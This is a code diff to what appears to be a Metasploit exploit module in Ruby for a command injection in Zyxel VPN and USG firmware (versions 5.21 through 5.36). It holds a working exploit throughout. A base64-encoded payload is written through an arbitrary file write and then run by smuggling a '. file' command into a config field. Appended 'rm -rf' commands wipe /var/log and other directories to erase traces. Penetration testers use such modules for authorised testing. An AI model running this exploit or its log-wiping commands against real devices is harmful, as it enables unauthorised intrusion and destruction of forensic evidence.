@@ -15,7 +15,8 @@ def initialize(info = {})
15
15
info ,
16
16
'Name' => 'Zyxel parse_config.py Command Injection' ,
17
17
'Description' => %q(
18
- This here module exploits Zyxel
18
+ This module exploits vulnerabilities in multiple Zyxel Products including VPN and USG devices (hopefully,
19
+ this is still in draft at the time of writing). The affected firmware version is 5.21 thru to 5.36.
19
20
) ,
20
21
'Author' =>
21
22
[
@@ -36,7 +37,7 @@ def initialize(info = {})
36
37
[ 'Automatic Target' , { } ]
37
38
] ,
38
39
'DefaultTarget' => 0 ,
39
- 'DisclosureDate' => '' ,
40
+ 'DisclosureDate' => '2024-01-24 ' ,
40
41
'Notes' =>
41
42
{
42
43
'Stability' => [ CRASH_SAFE , ] ,
@@ -46,45 +47,40 @@ def initialize(info = {})
46
47
)
47
48
)
48
49
49
- # register_options(
50
- # [
51
- #
52
- # ],
53
- # )
50
+ register_options (
51
+ [
52
+ OptString . new ( 'WRITABLE_DIR' , [ true , 'A directory where we can write files' , '/tmp' ] ) ,
53
+ ] ,
54
+ )
54
55
end
55
56
56
- # def fingerprint_method1
57
- #
58
- # end
59
- #
60
- # def fingerprint_method2
61
- #
62
- # end
63
57
64
58
def check
65
59
res = send_request_cgi ( {
66
60
'method' => 'GET' ,
67
61
'uri' => normalize_uri ( target_uri . path , 'ext-js' , 'app' , 'common' , 'zld_product_spec.js' ) ,
68
62
} )
69
- return CheckCode ::Unknown if res . nil?
63
+ return CheckCode ::Unknown ( 'No response from /ext-js/app/common/zld_product_spec.js' ) if res . nil?
70
64
71
65
if res . code == 200 && res . body =~ /ZLDCONFIG_CLOUD_HELP_VERSION=(\w +)/
72
66
return CheckCode ::Appears ( "Detected #{ Regexp . last_match ( 1 ) } ." ) if Rex ::Version . new ( Regexp . last_match ( 1 ) ) < Rex ::Version . new ( '5.36' )
73
- CheckCode ::Safe
67
+ return CheckCode ::Safe
74
68
end
69
+ CheckCode ::Unknown ( "Version info was not found." )
75
70
end
76
71
77
72
def exploit
78
- # Command injection has a 0x14 byte length limit so keep the file name smol .
79
- # The length limit is also why we leverage the arbitrary file write -> write our payload to the .qrs file then execute it with the command injection. #
73
+ # Command injection has a 0x14 byte length limit so keep the file name as small as possible .
74
+ # The length limit is also why we leverage the arbitrary file write -> write our payload to the .qrs file then execute it with the command injection.
80
75
filename = rand_text_alpha ( 1 )
76
+ payload_filepath = "#{ datastore [ 'WRITABLE_DIR' ] } /#{ filename } .qsr"
81
77
82
78
command = payload . encoded
83
79
command += <<-CMD
84
80
2>/var/log/ztplog 1>/var/log/ztplog
85
- (sleep 10 && /bin/rm -rf /tmp/ #{ filename } .qsr /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
81
+ (sleep 10 && /bin/rm -rf #{ payload_filepath } /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
86
82
CMD
87
- command = "echo #{ Rex ::Text . encode_base64 ( command ) } | base64 -d > /tmp/ #{ filename } .qsr ; . /tmp/ #{ filename } .qsr "
83
+ command = "echo #{ Rex ::Text . encode_base64 ( command ) } | base64 -d > #{ payload_filepath } ; . #{ payload_filepath } "
88
84
89
85
file_write_pload = "option proto vti\n "
90
86
file_write_pload += "option #{ command } ;exit\n "
@@ -100,12 +96,12 @@ def exploit
100
96
'data' => data . to_s ,
101
97
} )
102
98
fail_with ( Failure ::UnexpectedReply , 'The response from the target indicates the payload transfer was unsuccessful' ) if file_write_res && file_write_res . body . include? ( 'ParseError: 0xC0DE0005' )
103
- register_files_for_cleanup ( "/tmp/ #{ filename } .qsr" )
99
+ register_files_for_cleanup ( payload_filepath )
104
100
print_good ( 'File write was successful.' )
105
101
106
102
cmd_injection_pload = "option proto gre\n "
107
103
cmd_injection_pload += "option name 0\n "
108
- cmd_injection_pload += "option ipaddr ;. /tmp/ #{ filename } .qsr ;\n "
104
+ cmd_injection_pload += "option ipaddr ;. #{ payload_filepath } ;\n "
109
105
cmd_injection_pload += "option netmask 24\n "
110
106
cmd_injection_pload += "option gateway 0\n "
111
107
cmd_injection_pload += "option localip #{ Faker ::Internet . private_ip_v4_address } \n "
@@ -132,6 +128,5 @@ def exploit
132
128
output = output . gsub ( "\n \n <br>" , "" )
133
129
output = output . gsub ( "[IPC]IPC result: 1\n " , "" )
134
130
print_good ( "Command output: #{ output } " )
135
-
136
131
end
137
132
end
0 commit comments